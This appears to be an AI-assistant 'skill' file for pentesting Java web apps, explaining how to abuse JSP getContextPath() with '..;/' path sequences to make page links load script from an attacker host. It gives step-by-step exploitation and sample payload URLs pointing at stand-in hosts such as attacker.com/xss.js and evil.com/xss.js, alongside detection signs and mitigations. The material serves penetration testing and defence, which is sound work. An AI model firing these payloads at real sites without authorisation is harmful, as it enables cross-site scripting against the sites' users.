jsp-contextpath-abuse

name

jsp-contextpath-abuse

description

How to exploit JSP getContextPath() vulnerabilities for XSS and link manipulation attacks. Use this skill whenever you're pentesting Java web applications with JSP files, when you find JSP endpoints that might be vulnerable to context path manipulation, or when you need to craft XSS payloads through URL path injection. Trigger this skill for any Java web app assessment involving JSP, servlets, or context path-based vulnerabilities.

JSP Context Path Abuse

This skill covers exploiting getContextPath() vulnerabilities in JavaServer Pages (JSP) applications to perform XSS attacks and link manipulation.

Understanding the Vulnerability

JSP applications often use request.getContextPath() to build URLs dynamically. When this value is used unsafely in HTML output, attackers can manipulate the context path through URL tricks to redirect links to malicious domains.

Why This Works

The getContextPath() method returns the context path of the web application. In some configurations, attackers can inject path traversal sequences (../) or special characters to manipulate how the context path is interpreted, potentially redirecting all generated links to an attacker-controlled domain.

Attack Technique

Basic Payload Structure

http://<target>:<port>/<injection>/..;/..;/<context>/vulnerable.jsp

The ..;/ sequence is key - it exploits how some servlet containers parse URL paths, allowing you to inject arbitrary content that gets reflected in the context path.

Step-by-Step Exploitation

1. Identify JSP endpoints - Look for .jsp files in the application
2. Test for context path usage - Check if links in the page use getContextPath()
3. Craft the injection - Use ..;/ sequences to inject your domain
4. Verify the redirect - Check if links now point to your controlled domain

Example Exploitation

Scenario: Vulnerable JSP Application

Target URL:

http://127.0.0.1:8080//attacker.com/xss.js#/..;/..;/contextPathExample/test.jsp

What happens:

• The ..;/..;/ sequences manipulate the context path parsing
• All links generated by getContextPath() now point to attacker.com
• If the application doesn't properly validate the context path, XSS becomes possible

Practical Payloads

# Basic context path injection
http://target:8080//evil.com/xss.js#/..;/..;/app/vuln.jsp

# With encoded characters (if needed)
http://target:8080/%26sol%3Bevil.com/xss.js%26num%3B/..;/..;/app/vuln.jsp

# Multiple path traversal
http://target:8080//evil.com#/..;/..;/..;/..;/app/vuln.jsp

Detection Indicators

Look for these signs that an application might be vulnerable:

1. JSP files in the application - .jsp extensions in URLs
2. Dynamic link generation - Links that appear to be built from context paths
3. Servlet container quirks - Tomcat, Jetty, or other Java servlet containers
4. Path-based routing - Applications that use URL paths for context determination

Mitigation Recommendations

If you're assessing your own applications, recommend:

1. Validate context paths - Never trust getContextPath() output without validation
2. Use absolute URLs - For critical links, use absolute URLs instead of context-relative ones
3. Input sanitization - Sanitize all URL parameters and path components
4. Content Security Policy - Implement CSP to limit XSS impact

Related Techniques

This vulnerability often appears alongside:

• Path traversal attacks - Similar ../ manipulation techniques
• XSS via URL parameters - Reflected XSS in query strings
• Open redirect vulnerabilities - Similar link manipulation patterns

References

• JSP ContextPath Link Manipulation XSS
• OWASP JSP Security Cheat Sheet
• Servlet Container Security Guidelines

When to Use This Skill

Use this skill when:

• You're conducting a web application penetration test on Java applications
• You discover JSP files or endpoints in your target
• You need to test for context path manipulation vulnerabilities
• You're looking for XSS vectors in Java web applications
• You encounter dynamic link generation that might use getContextPath()

Don't use this skill for:

• Non-Java web applications
• Static HTML sites without server-side processing
• Applications that don't use servlet containers